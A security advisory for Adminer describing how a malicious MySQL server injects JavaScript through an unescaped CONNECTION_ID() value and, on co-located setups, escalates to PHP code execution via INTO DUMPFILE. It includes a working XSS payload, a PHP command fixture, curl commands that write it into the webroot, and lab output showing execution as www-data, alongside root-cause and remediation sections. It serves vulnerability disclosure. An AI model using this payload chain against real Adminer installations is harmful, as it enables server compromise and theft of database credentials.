GHSA-7C5H-Q78C-FPXX
Conditional RCE via CONNECTION_ID XSS + INTO DUMPFILE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-7C5H-Q78C-FPXX divulgada · CVSS 6.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
<!-- obsidian --><h2 data-heading="Summary">Summary</h2>
<p>Adminer <code>6.0.2-dev</code> contains a malicious-database-server XSS that can be escalated to code execution in a co-located deployment. Adminer requests <code>SELECT CONNECTION_ID()</code> from a MySQL/MariaDB server and interpolates the returned value into an existing CSP-nonce-bearing JavaScript block without JavaScript escaping. A database server controlled by an attacker can return JavaScript instead of a numeric connection ID.</p>
<p>The XSS executes in the authenticated Adminer origin and can submit same-origin Adminer requests. If the deployment also has a database service on the web server, the authenticated database identity has <code>FILE</code>, <code>secure_file_priv</code> permits the webroot, the database service can write there, and PHP executes the resulting file, an Adminer SQL request can write an auto-loaded <code>adminer-plugins.php</code> file with <code>SELECT ... INTO DUMPFILE</code>. The file is then executed by the web server.</p>
<p>The RCE was reproduced in a disposable co-located lab from a fresh GitHub checkout. The Adminer source was not modified. The default database account without <code>FILE</code> was tested first and received <code>Access denied</code>; RCE was only reproduced after explicitly enabling the documented <code>FILE</code> prerequisite in the disposable database fixture.</p>
<h2 data-heading="Confirmation status">Confirmation status</h2>
Claim | Status | Evidence
-- | -- | --
Fresh upstream Adminer contains the unsafe CONNECTION_ID() sink | Confirmed | Clean GitHub clone, commit 67a827eab82e85a67f0d73d9b00651633a9e7829
Malicious MySQL-compatible server executes JavaScript in Adminer | Confirmed | Fresh build; normal login returned 302 then 200; browser banner displayed
Default database account can write the webroot | Not confirmed | INTO DUMPFILE returned Access denied; no marker was created
FILE-privileged co-located database can write an auto-loaded PHP file | Confirmed in disposable lab | Adminer returned Query executed OK; written-file checksum matched payload
PHP code executes as the web-server account | Confirmed in disposable lab | id, whoami, pwd, and ls returned live output as www-data
RCE against every Adminer installation | Not claimed | Separate DB, restricted secure_file_priv, missing FILE, non-writable webroot, or disabled PHP prevents this chain
<h2 data-heading="Root Cause">Root Cause</h2>
<h3 data-heading="1. Server-controlled value is inserted into trusted JavaScript">1. Server-controlled value is inserted into trusted JavaScript</h3>
<p><code>adminer/include/functions.inc.php:1111-1125</code> runs the slow-query path. At lines <code>1119-1120</code>, the result returned by <code>CONNECTION_ID()</code> is inserted into JavaScript without <code>js_escape()</code> or numeric validation:</p>
<pre><code class="language-php">$kill = get_val(connection_id(), 0, $connection2); // MySQL and MySQLi can use thread_id but it's not in PDO_MySQL
echo script("const timeout = setTimeout(() => { ajax('" . js_escape(ME)
. "script=kill', function () {}, 'kill=$kill&token=" . get_token()
. "'); }, 1000 * $timeout);");
</code></pre>
<p><code>adminer/drivers/mysql.inc.php:1295-1296</code> defines the query:</p>
<pre><code class="language-php">function connection_id(): string {
return "SELECT CONNECTION_ID()";
}
</code></pre>
<p>The attacker-controlled bytes are placed inside an already trusted CSP-nonce-bearing script. CSP therefore does not prevent this injection.</p>
<h3 data-heading="2. The server version selects the vulnerable path">2. The server version selects the vulnerable path</h3>
<p><code>adminer/include/functions.inc.php:168-174</code> compares the version reported by the database connection. <code>adminer/drivers/mysql.inc.php:317-322</code> uses that value to decide whether to add a modern execution-time hint. A hostile endpoint can advertise an older compatible version such as <code>5.6.0</code>, causing the slow-query helper to request <code>CONNECTION_ID()</code>.</p>
<p>The version is a trigger for this path, not the root cause. This is an Adminer output-encoding and trust-boundary issue, not a MySQL vulnerability.</p>
<h3 data-heading="3. Auto-loaded plugin file enables conditional code execution">3. Auto-loaded plugin file enables conditional code execution</h3>
<p>Adminer’s bootstrap checks for an <code>adminer-plugins.php</code> file at <code>adminer/include/bootstrap.inc.php:91-97</code> and loads it through the plugin system. When the database service can write PHP into the webroot, <code>INTO DUMPFILE</code> can create this file and the web server executes it on the next request.</p>
<p>This is not a pre-authentication RCE finding. The RCE path requires an authenticated Adminer session to the <code>FILE</code>-privileged co-located database. The malicious-server XSS is authenticated because the victim submits the database login form.</p>
<h2 data-heading="Proof of Concept">Proof of Concept</h2>
<h3 data-heading="1. Malicious server input and XSS execution">1. Malicious server input and XSS execution</h3>
<p>The attacker-controlled MySQL-compatible endpoint advertised version <code>5.6.0</code>. For <code>SELECT CONNECTION_ID()</code>, it returned this proof-only value:</p>
<pre><code class="language-text">1'); }, 0); document.body.insertAdjacentHTML('afterbegin', '<div id="poc-banner" style="position:fixed;top:0;left:0;right:0;z-index:99999;background:#b00020;color:#fff;padding:14px;font:18px sans-serif">XSS EXECUTED full-verify</div>'); //
</code></pre>
<p>The victim used the normal Adminer login form with a non-empty test password. The actual result was:</p>
<pre><code class="language-text">POST /adminer.php -> HTTP 302
GET /adminer.php?server=rogue-old:3390&username=poc -> HTTP 200
MySQL version: 5.6.0
Response marker count: 2
Attacker endpoint log: SELECT CONNECTION_ID()
</code></pre>
<p>The browser displayed:</p>
<pre><code class="language-text">Page title: Select database - rogue-old:3390 - Adminer
Visible marker: XSS EXECUTED full-verify
Visible server detail: MySQL version: 5.6.0 through PHP extension MySQLi
</code></pre>
<img width="925" height="947" alt="image" src="https://github.com/user-attachments/assets/1bdf2954-a423-4497-8e7f-fefd1331db2f" />
<p>As a version control, the same clean Adminer build was tested against an endpoint advertising <code>8.0.36</code> and returning the same malicious value. It returned <code>HTTP 302</code> then <code>HTTP 200</code>, but the marker count was <code>0</code> and the endpoint logged no <code>SELECT CONNECTION_ID()</code>. This demonstrates that the version selects the vulnerable path; it does not make MySQL itself vulnerable.</p>
<h3 data-heading="2. Negative test with the default database account">2. Negative test with the default database account</h3>
<p>The fresh co-located MariaDB container was first tested through the normal authenticated Adminer SQL command page using the default <code>appuser</code> account.</p>
<p>Query:</p>
<pre><code class="language-sql">SELECT 0x5245544553545F4E4F46494C45
INTO DUMPFILE '/var/www/html/adminer-rce-default-check';
</code></pre>
<p>Observed result:</p>
<pre><code class="language-text">HTTP 200
Error: Access denied
No marker file created: /var/www/html/adminer-rce-default-check was absent
</code></pre>
<p>The same account reported:</p>
<pre><code class="language-text">USER(): appuser@localhost
CURRENT_USER(): appuser@127.0.0.1
@@secure_file_priv: NULL
</code></pre>
<p>The failure was caused by the missing <code>FILE</code> privilege, not by an Adminer source modification.</p>
<h3 data-heading="3. Disposable-lab prerequisite">3. Disposable-lab prerequisite</h3>
<p>For the conditional escalation test, a new database account was created only inside the disposable MariaDB container with privileges including <code>FILE</code>. The webroot was writable by the database service, and <code>@@secure_file_priv</code> returned <code>NULL</code>.</p>
<p>The verified account state was:</p>
<pre><code class="language-text">USER(): rceuser@localhost
CURRENT_USER(): rceuser@localhost
@@secure_file_priv: NULL
GRANT ALL PRIVILEGES ON *.* TO rceuser@localhost WITH GRANT OPTION
</code></pre>
<p>This database permission change was lab setup and was destroyed with the container. It was not made to the Adminer source or to any user environment.</p>
<h3 data-heading="4. Write the PHP fixture through Adminer SQL">4. Write the PHP fixture through Adminer SQL</h3>
<p>The following benign fixture was submitted as the SQL payload. It allows only four fixed commands and is not part of Adminer:</p>
<pre><code class="language-php"><?php
$commands = array(
"id" => "/usr/bin/id",
"whoami" => "/usr/bin/whoami",
"pwd" => "/bin/pwd",
"ls" => "/bin/ls -ld /var/www/html /var/www/html/adminer.php",
);
if (isset($_GET["c"], $commands[$_GET["c"]])) {
echo "<pre>ADMINER_RCE_RETEST\n";
passthru($commands[$_GET["c"]]);
echo "</pre>";
}
return array();
</code></pre>
<p>The exact SQL request submitted through the authenticated Adminer SQL page was:</p>
<pre><code class="language-http">POST /adminer.php?server=127.0.0.1&username=rceuser&sql= HTTP/1.1
Host: 127.0.0.1:8097
Cookie: adminer_sid=<fresh-authenticated-test-session>
Content-Type: application/x-www-form-urlencoded
query=SELECT+0x<hex-encoded-fixture>+INTO+DUMPFILE+%27%2Fvar%2Fwww%2Fhtml%2Fadminer-plugins.php%27%3B&token=<fresh-token>
</code></pre>
<p>Equivalent tester-side command:</p>
<pre><code class="language-bash">HEX=$(od -An -tx1 -v rce_plugin.php | tr -d ' \n')
curl -sS -D plugin-write.headers -b "$COOKIE" \
-X POST 'http://127.0.0.1:8097/adminer.php?server=127.0.0.1&username=rceuser&sql=' \
--data-urlencode "query=SELECT 0x$HEX INTO DUMPFILE '/var/www/html/adminer-plugins.php';" \
--data-urlencode "token=$TOKEN"
</code></pre>
<p>Observed result from the live request:</p>
<pre><code class="language-text">dumpfile_status=HTTP-200
Query executed OK
/var/www/html/adminer-plugins.php -> -rw-r--r-- mysql:mysql 321 bytes
</code></pre>
<p>The fixture checksum and database-written file checksum were identical:</p>
<pre><code class="language-text">fixture_sha256=7afcf9ea199f3f3c92318337e1f13dcb684854626ab4faa5e1d755f280d6b459
written_file_sha256=7afcf9ea199f3f3c92318337e1f13dcb684854626ab4faa5e1d755f280d6b459
</code></pre>
<p>This proves the PHP file used for execution was written by the Adminer SQL request, rather than copied into the webroot by the tester.</p>
<h3 data-heading="5. Verify real command execution over HTTP">5. Verify real command execution over HTTP</h3>
<p>Requests:</p>
<pre><code class="language-http">GET /adminer.php?c=id HTTP/1.1
Host: 127.0.0.1:8097
GET /adminer.php?c=whoami HTTP/1.1
Host: 127.0.0.1:8097
GET /adminer.php?c=pwd HTTP/1.1
Host: 127.0.0.1:8097
GET /adminer.php?c=ls HTTP/1.1
Host: 127.0.0.1:8097
</code></pre>
<p>Equivalent command loop:</p>
<pre><code class="language-bash">BASE='http://127.0.0.1:8097/adminer.php'
for cmd in id whoami pwd ls; do
printf '=== %s ===\n' "$cmd"
curl -sS --get --data-urlencode "c=$cmd" "$BASE"
done
</code></pre>
<p>Actual observed response status and output:</p>
<pre><code class="language-text">id -> HTTP 200
ADMINER_RCE_RETEST
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami -> HTTP 200
ADMINER_RCE_RETEST
www-data
pwd -> HTTP 200
ADMINER_RCE_RETEST
/var/www/html
ls -> HTTP 200
ADMINER_RCE_RETEST
drwxrwxrwt 1 www-data www-data 4096 Sep 4 15:26 /var/www/html
-rw-rw-r-- 1 1000 1000 <Adminer file> /var/www/html/adminer.php
</code></pre>
<p>These are live HTTP response bodies from the disposable deployment. The execution identity was <code>www-data</code>, and the working directory was <code>/var/www/html</code>.</p>
<img width="925" height="947" alt="image" src="https://github.com/user-attachments/assets/bd747920-0eac-4608-9000-a6c1a72bc999" />
<p>This screenshot uses the default browser rendering. it shows the raw <code>id</code> output returned by the disposable PHP fixture.</p>
<p>The <code>c</code> parameter and allowlisted PHP fixture are test harnesses, not Adminer features. They were used only to prove that the database-written PHP file executed as the web-server account.</p>
<h2 data-heading="Impact">Impact</h2>
<p>In the general case, an attacker-controlled database server can execute JavaScript in the authenticated Adminer origin when a victim connects to it. The script can use the victim’s Adminer session and privileges to submit same-origin actions.</p>
<p>In the conditional co-located configuration, the impact increases to arbitrary PHP code execution as the web-server account. This may expose Adminer configuration, database credentials, files readable by the web user, and application functionality available to that account. The observed lab identity was <code>www-data</code>.</p>
<h2 data-heading="Remediation">Remediation</h2>
<ol>
<li>Do not interpolate database-returned values directly into JavaScript source. Treat <code>CONNECTION_ID()</code> as a numeric value and reject or safely encode non-numeric results.</li>
<li>Apply context-correct JavaScript escaping to every value inserted into inline script. Prefer structured JSON data over string concatenation.</li>
<li>Add regression tests with a database test double that returns quotes, comment delimiters, newlines, and HTML/script text as the connection ID. Assert that no executable JavaScript is produced.</li>
<li>Review all database-result-to-script sinks, including other JSON serialization paths, for JavaScript and HTML context safety.</li>
<li>Restrict MySQL/MariaDB <code>FILE</code> privileges to accounts that require them.</li>
<li>Set <code>secure_file_priv</code> to a dedicated non-web directory or disable it where possible.</li>
<li>Ensure the database service cannot write executable PHP into the Adminer or application webroot.</li>
<li>Avoid co-locating a broadly privileged database service with a PHP webroot when the database does not require filesystem access.</li>
</ol>
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistvrana/adminer |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/vrana/adminer/security/advisories/GHSA-7c5h-q78c-fpxxLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
